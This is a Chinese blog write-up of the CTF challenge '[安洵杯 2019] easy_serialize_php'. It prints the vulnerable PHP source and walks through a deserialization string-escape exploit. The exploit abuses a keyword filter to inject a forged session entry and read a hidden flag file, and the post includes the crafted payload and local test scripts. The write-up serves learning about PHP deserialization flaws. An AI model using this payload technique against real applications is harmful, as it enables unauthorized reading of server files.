Z1d10tのBlog

A note for myself,have fun!

[安洵杯 2019]easy_serialize_php

这是一道反序列化字符串逃逸题目 一道学习题目

打开题目 看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php


$function = @$_GET['f'];


function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}



if($_SESSION){
unset($_SESSION);
}


$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;


extract($_POST);


if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}


if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}


$serialize_info = filter(serialize($_SESSION));


if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>

img

看到url 是f=highli_file 看到源码就明白了

1
2
3
4
5
6
7
8
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这里可以说是主程序了 题目当f=phpinfo()输出phpinfo()我们会找到一些东西

img果然发现了可疑php文件

主程序有file_get_contents() 这里应该就是去包含我们发现的d0g3_f1ag.php文件

还有一个我不知道的特殊点:$_SESSION数组 这是一个数组

img

这道题$_SESSION共有三个变量分别为 user function img 其实img用来去包含那个php文件

但是这里

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$_SESSION[‘img’]先通过base64加密 然后再进行sha1()函数 尽管主函数最后包含文件之前会有base64解密 但是sha1()函数明显就是不让我们直接将flag文件赋值给$_SESSION[‘img’]

img

那么应该怎么让$_SESSION[‘img’]等于我们的php文件呢 这里思路大概就是类似于类反序列化

本地序列化构造包含了php文件的$_SESSION[‘img’] 然后再反序列去覆盖那个题目中的$_SESSION[‘img’]

再来看过滤这部分 用空字符去正则代换我们的文件名后缀名

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

这里就用到了字符串反序列化沙箱逃逸 参考https://www.jianshu.com/p/8e8117f9fd0e

通过一个小demo简单看一下原理

1
2
3
4
5
6
7
8
9
<?php
//反序列化字符串逃逸
$a = array('123', 'abc', 'defg');
$b=serialize($a); //a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}
var_dump(unserialize($b));
// 添加 i:2;s:4:"love";}
$c='a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"love";}i:2;s:4:"defg";}';
var_dump(unserialize($c));
?>

image.png

本地测试

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a ='/flag/';
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$b=serialize($_SESSION);
echo $b;
echo "\n";
$c=preg_replace($a,'',$b);
var_dump($c);
print_r(unserialize($c));
?>

img

就是通过特意构造序列化 让$_SESSION[“function”]中的内容仿照反序列化后的$_SESSION[img]数组内容 从而达到覆盖

当$_SESSION[‘user’]中的24个字符被空字符代替之后 之后反序列化就会继续向后面寻找24个字符找到符合条件的内容进行反序列化读取";s:8:"function";s:59:"a这24个字符 并且之后还有";符合停止的条件 而后继续向后读取img的20个字符,第四个、第五个s向后读取均满足规则。

这里需要注意的点:

img

这里'a"左边的单引号是去闭合者一整段字符串右边的单引号

右边的双引号是为了去闭合序列化后的"a"

img

为什么是4个flag 即24个字符 要根据后面构造的内容去灵活变动

然后是}构造的字符串中有一个}这个很重要 一开始本地测试的一直报错 发现是把这个}给删了 这个}是用来之后反序列化时候匹配停止匹配的一个符号吧(我是这样认为的)如果不加就会导致沙箱逃逸失败

然后因为在文件包含之前会有base64解码 需要把我们发现的php文件进行base64加密之后 弄进我们构造的字符串中

之后题目就迎刃而解了。

本文最后更新于 天前,文中所描述的信息可能已发生改变